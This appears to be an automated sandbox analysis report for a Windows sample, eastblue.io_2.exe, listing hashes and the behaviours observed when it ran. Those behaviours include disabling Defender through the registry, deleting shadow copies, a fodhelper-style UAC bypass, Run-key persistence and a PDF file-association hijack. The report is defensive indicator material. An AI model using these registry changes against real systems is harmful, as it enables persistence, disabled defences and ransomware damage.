Analysis
- max time kernel
149s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
05/05/2026, 15:07
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
eastblue.io_2.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
eastblue.io_2.exe
Resource
win11-20260130-en
windows11-21h2-x64
36 signatures
150 seconds
General
- Target eastblue.io_2.exe
- Size 51KB
- Sample260505-shpdaaev8m
- SHA256 70bc1e131736193abff2edb141234160aa6ba421f3fe7844f53395cd6ecc1b2a
- MD5 24a3e8461334e52e382ab1b2b56665ed
- SHA1 0d42197c1a5763959a69cf14c840ad2462dc98c9
- SHA512 cc85325310ec6d36aa6b8ceb42a598a9852edbd89c01ec0ac1c3ff124e2781461ca6d04fadd7800ab6a52b05d58528e304eef10a4b241e2ea6ef72c8193255f1
- SSDEEP 768:JSY4OWQbuoc4WK6oSwgSYwVb/JT90fXIyfRoBueFkb:5+QbvcoT1bIPRfgueFkb
- TLSH T14633D54837E94111E2BF9EBE89B251118732F4639C23D78E1AD4459E19F3B40CDA8F6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/2836-0-0x0000000000010000-0x0000000000024000-memory.dmp disable_win_def behavioral1/files/0x00070000000249b3-2286.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" eastblue.io_2.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5020 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" eastblue.io_2.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts eastblue.io_2.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4436 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\Control Panel\International\Geo\Nation eastblue.io_2.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_105.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_62.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_107.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_68.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_176.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_54.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_123.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_55.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_70.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_79.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_168.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_163.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_141.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_88.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_148.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_184.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_23.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf eastblue.io_2.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf eastblue.io_2.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf eastblue.io_2.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eastblue.io_2.exe" eastblue.io_2.exe Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\RansomwareUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eastblue.io_2.exe" eastblue.io_2.exe Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eastblue.io_2.exe" eastblue.io_2.exe - Drops desktop.ini file(s) 1 IoCs
description ioc Process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini LogonUI.exe - Drops file in System32 directory 5 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe eastblue.io_2.exe File created C:\Windows\system32\eicar_extra.com eastblue.io_2.exe File created C:\Windows\system32\eicar_extra.txt eastblue.io_2.exe File created C:\Windows\system32\sysupdate.exe eastblue.io_2.exe File opened for modification C:\Windows\system32\sysupdate.exe eastblue.io_2.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 4848 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" eastblue.io_2.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2936 sc.exe 2872 sc.exe 3068 sc.exe 4972 sc.exe 1640 sc.exe 3168 sc.exe 1796 sc.exe 3552 sc.exe 4180 sc.exe 4996 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - EICAR Anti-Malware test file 1 IoCs
resource yara_rule behavioral1/files/0x0007000000024999-2248.dat eicar_test_file - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1836 NETSTAT.EXE 1812 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2408 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 4972 vssadmin.exe 4548 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000\Control Panel\Desktop\WallpaperStyle = "2" eastblue.io_2.exe - Modifies data under HKEY_USERS 25 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{40DD6E20-7C17-11CE-A804-00AA003CA9F6} {000214FC-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000250221efa0dcdc01 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fe7bffb0-0000-0000-0000-d01200000000} LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "239" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271" LogonUI.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E\@%SystemRoot%\system32\shell32.dll,-50176 = "File Operation" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\TelemetrySalt = "6" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fe7bffb0-0000-0000-0000-d01200000000}\MaxCapacity = "13092" LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\BitBucket\Volume\{fe7bffb0-0000-0000-0000-d01200000000}\NukeOnDelete = "0" LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell eastblue.io_2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open eastblue.io_2.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\eastblue.io_2.exe\" \"%1\"" eastblue.io_2.exe Key deleted \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open eastblue.io_2.exe Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open\command\DelegateExecute eastblue.io_2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell eastblue.io_2.exe Key created \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open eastblue.io_2.exe Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\.pdf\ = "PDFBotnet" eastblue.io_2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet eastblue.io_2.exe Key deleted \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell eastblue.io_2.exe Key deleted \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings eastblue.io_2.exe Key created \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings eastblue.io_2.exe Set value (str) \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\eastblue.io_2.exe" eastblue.io_2.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command eastblue.io_2.exe Key deleted \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open\command eastblue.io_2.exe Key created \REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\ms-settings\shell\open\command eastblue.io_2.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1944 schtasks.exe 4760 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5020 powershell.exe 5020 powershell.exe 5020 powershell.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe 2836 eastblue.io_2.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2984 LogonUI.exe Token: SeCreatePagefilePrivilege 2984 LogonUI.exe Token: SeDebugPrivilege 2836 eastblue.io_2.exe Token: SeDebugPrivilege 5020 powershell.exe Token: SeIncBasePriorityPrivilege 2836 eastblue.io_2.exe Token: SeDebugPrivilege 4484 whoami.exe Token: SeDebugPrivilege 1836 NETSTAT.EXE Token: SeDebugPrivilege 4848 tasklist.exe Token: SeBackupPrivilege 2036 vssvc.exe Token: SeRestorePrivilege 2036 vssvc.exe Token: SeAuditPrivilege 2036 vssvc.exe Token: SeIncreaseQuotaPrivilege 4472 WMIC.exe Token: SeSecurityPrivilege 4472 WMIC.exe Token: SeTakeOwnershipPrivilege 4472 WMIC.exe Token: SeLoadDriverPrivilege 4472 WMIC.exe Token: SeSystemProfilePrivilege 4472 WMIC.exe Token: SeSystemtimePrivilege 4472 WMIC.exe Token: SeProfSingleProcessPrivilege 4472 WMIC.exe Token: SeIncBasePriorityPrivilege 4472 WMIC.exe Token: SeCreatePagefilePrivilege 4472 WMIC.exe Token: SeBackupPrivilege 4472 WMIC.exe Token: SeRestorePrivilege 4472 WMIC.exe Token: SeShutdownPrivilege 4472 WMIC.exe Token: SeDebugPrivilege 4472 WMIC.exe Token: SeSystemEnvironmentPrivilege 4472 WMIC.exe Token: SeRemoteShutdownPrivilege 4472 WMIC.exe Token: SeUndockPrivilege 4472 WMIC.exe Token: SeManageVolumePrivilege 4472 WMIC.exe Token: 33 4472 WMIC.exe Token: 34 4472 WMIC.exe Token: 35 4472 WMIC.exe Token: 36 4472 WMIC.exe Token: SeIncreaseQuotaPrivilege 4472 WMIC.exe Token: SeSecurityPrivilege 4472 WMIC.exe Token: SeTakeOwnershipPrivilege 4472 WMIC.exe Token: SeLoadDriverPrivilege 4472 WMIC.exe Token: SeSystemProfilePrivilege 4472 WMIC.exe Token: SeSystemtimePrivilege 4472 WMIC.exe Token: SeProfSingleProcessPrivilege 4472 WMIC.exe Token: SeIncBasePriorityPrivilege 4472 WMIC.exe Token: SeCreatePagefilePrivilege 4472 WMIC.exe Token: SeBackupPrivilege 4472 WMIC.exe Token: SeRestorePrivilege 4472 WMIC.exe Token: SeShutdownPrivilege 4472 WMIC.exe Token: SeDebugPrivilege 4472 WMIC.exe Token: SeSystemEnvironmentPrivilege 4472 WMIC.exe Token: SeRemoteShutdownPrivilege 4472 WMIC.exe Token: SeUndockPrivilege 4472 WMIC.exe Token: SeManageVolumePrivilege 4472 WMIC.exe Token: 33 4472 WMIC.exe Token: 34 4472 WMIC.exe Token: 35 4472 WMIC.exe Token: 36 4472 WMIC.exe Token: SeIncreaseQuotaPrivilege 3816 WMIC.exe Token: SeSecurityPrivilege 3816 WMIC.exe Token: SeTakeOwnershipPrivilege 3816 WMIC.exe Token: SeLoadDriverPrivilege 3816 WMIC.exe Token: SeSystemProfilePrivilege 3816 WMIC.exe Token: SeSystemtimePrivilege 3816 WMIC.exe Token: SeProfSingleProcessPrivilege 3816 WMIC.exe Token: SeIncBasePriorityPrivilege 3816 WMIC.exe Token: SeCreatePagefilePrivilege 3816 WMIC.exe Token: SeBackupPrivilege 3816 WMIC.exe Token: SeRestorePrivilege 3816 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2836 eastblue.io_2.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2984 LogonUI.exe 2836 eastblue.io_2.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2836 wrote to memory of 5020 2836 eastblue.io_2.exe 87 PID 2836 wrote to memory of 2936 2836 eastblue.io_2.exe 88 PID 2836 wrote to memory of 2872 2836 eastblue.io_2.exe 90 PID 2836 wrote to memory of 3068 2836 eastblue.io_2.exe 93 PID 2836 wrote to memory of 4972 2836 eastblue.io_2.exe 134 PID 2836 wrote to memory of 1640 2836 eastblue.io_2.exe 97 PID 2836 wrote to memory of 3168 2836 eastblue.io_2.exe 99 PID 2836 wrote to memory of 3552 2836 eastblue.io_2.exe 101 PID 2836 wrote to memory of 4180 2836 eastblue.io_2.exe 103 PID 2836 wrote to memory of 2848 2836 eastblue.io_2.exe 104 PID 2848 wrote to memory of 4188 2848 fodhelper.exe 106 PID 2836 wrote to memory of 1844 2836 eastblue.io_2.exe 108 PID 2836 wrote to memory of 1944 2836 eastblue.io_2.exe 109 PID 2836 wrote to memory of 4600 2836 eastblue.io_2.exe 115 PID 2836 wrote to memory of 1840 2836 eastblue.io_2.exe 117 PID 2836 wrote to memory of 4636 2836 eastblue.io_2.exe 118 PID 2836 wrote to memory of 5080 2836 eastblue.io_2.exe 119 PID 2836 wrote to memory of 1620 2836 eastblue.io_2.exe 120 PID 2836 wrote to memory of 2980 2836 eastblue.io_2.exe 121 PID 2836 wrote to memory of 924 2836 eastblue.io_2.exe 122 PID 2836 wrote to memory of 4760 2836 eastblue.io_2.exe 157 PID 2836 wrote to memory of 2252 2836 eastblue.io_2.exe 131 PID 5080 wrote to memory of 4484 5080 cmd.exe 132 PID 1840 wrote to memory of 2408 1840 cmd.exe 133 PID 4600 wrote to memory of 4972 4600 cmd.exe 134 PID 4636 wrote to memory of 4848 4636 cmd.exe 135 PID 1620 wrote to memory of 116 1620 cmd.exe 136 PID 2980 wrote to memory of 1812 2980 cmd.exe 137 PID 924 wrote to memory of 1836 924 cmd.exe 138 PID 116 wrote to memory of 416 116 net.exe 139 PID 2836 wrote to memory of 3076 2836 eastblue.io_2.exe 140 PID 4600 wrote to memory of 4472 4600 cmd.exe 143 PID 2836 wrote to memory of 4548 2836 eastblue.io_2.exe 144 PID 2836 wrote to memory of 3816 2836 eastblue.io_2.exe 145 PID 2836 wrote to memory of 2884 2836 eastblue.io_2.exe 146 PID 2836 wrote to memory of 4436 2836 eastblue.io_2.exe 147 PID 2836 wrote to memory of 1796 2836 eastblue.io_2.exe 149 PID 2836 wrote to memory of 4996 2836 eastblue.io_2.exe 154 PID 2884 wrote to memory of 3200 2884 net.exe 156 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"C:\Users\Admin\AppData\Local\Temp\eastblue.io_2.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2836 -
